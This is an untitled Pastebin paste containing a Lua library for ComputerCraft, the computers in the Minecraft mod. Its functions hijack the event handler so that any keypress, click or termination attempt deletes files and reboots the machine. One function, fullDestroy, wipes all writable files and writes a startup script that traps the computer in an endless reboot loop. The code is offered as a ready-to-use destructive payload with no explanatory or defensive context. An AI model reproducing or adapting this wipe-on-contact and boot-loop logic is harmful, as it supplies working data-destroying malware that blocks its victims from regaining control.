Advertisement
Guest User

Untitled

a guest
Jan 1st, 2018
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.43 KB | None | 0 0
  1. #LIB()
  2.  
  3. local nativepullEvent = os.pullEventRaw
  4.  
  5. return
  6. {
  7. #BEGINFUNCTION()
  8. #FUNCTION(callbackAnyContact)
  9. callbackAnyContact = function(fCallback)
  10. nativepullEvent = os.pullEventRaw
  11.  
  12. os.pullEventRaw = function(...)
  13. local tpEvent = { nativepullEvent(...) }
  14.  
  15. if tpEvent[1] == "char" or
  16. tpEvent[1] == "key" or
  17. tpEvent[1] == "key_up" or
  18. tpEvent[1] == "mouse_click" or
  19. tpEvent[1] == "mouse_up" or
  20. tpEvent[1] == "terminate" then
  21.  
  22. fCallback()
  23. end
  24.  
  25. return table.unpack(tpEvent)
  26. end
  27. end,
  28. #FUNCTION(fullDestroy)
  29. fullDestroy = function()
  30. for _, sFile in pairs(fs.list("")) do
  31. if not fs.isReadOnly(sFile) then
  32. fs.delete(sFile)
  33. end
  34. end
  35.  
  36. if settings then
  37. settings.set("shell.allow_disk_startup", false)
  38. settings.set("shell.allow_startup", true)
  39. end
  40.  
  41. fs.open("startup", "w")
  42. fs.write(
  43. [[
  44. os.pullEvent = function()
  45. os.reboot()
  46. end
  47.  
  48. while true do
  49. coroutine.yield()
  50. end
  51. ]])
  52. fs.close()
  53. os.reboot()
  54. end,
  55. #FUNCTION(onAnyContact)
  56. onAnyContact = function(fileDestination)
  57. nativepullEvent = os.pullEventRaw
  58.  
  59. os.pullEventRaw = function(...)
  60. local tpEvent = { nativepullEvent(...) }
  61.  
  62. if tpEvent[1] == "char" or
  63. tpEvent[1] == "key" or
  64. tpEvent[1] == "key_up" or
  65. tpEvent[1] == "mouse_click" or
  66. tpEvent[1] == "mouse_up" or
  67. tpEvent[1] == "terminate" then
  68.  
  69. if type(fileDestination) == "string" then
  70. if fileDestination == "all" then
  71. fileDestination = fs.list("")
  72. else
  73. fileDestination = { fileDestination }
  74. end
  75. elseif fileDestination == nil then
  76. fileDestination = fs.list("")
  77. end
  78.  
  79. for _, sFile in pairs(fileDestination) do
  80. if fs.exists(sFile) and not fs.isReadOnly(sFile) then
  81. fs.delete(sFile)
  82. end
  83. end
  84.  
  85. os.pullEventRaw = nativepullEvent
  86. os.reboot()
  87. end
  88.  
  89. return table.unpack(tpEvent)
  90. end
  91. end,
  92. #FUNCTION(now)
  93. now = function(fileDestination)
  94. if type(fileDestination) == "string" then
  95. if fileDestination == "all" then
  96. fileDestination = fs.list("")
  97. else
  98. fileDestination = { fileDestination }
  99. end
  100. end
  101.  
  102. for _, sFile in pairs(fileDestination) do
  103. if fs.exists(sFile) and not fs.isReadOnly(sFile) then
  104. fs.delete(sFile)
  105. end
  106. end
  107.  
  108. os.pullEventRaw = nativepullEvent
  109. os.reboot()
  110. end
  111. #ENDFUNCTION()
  112. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement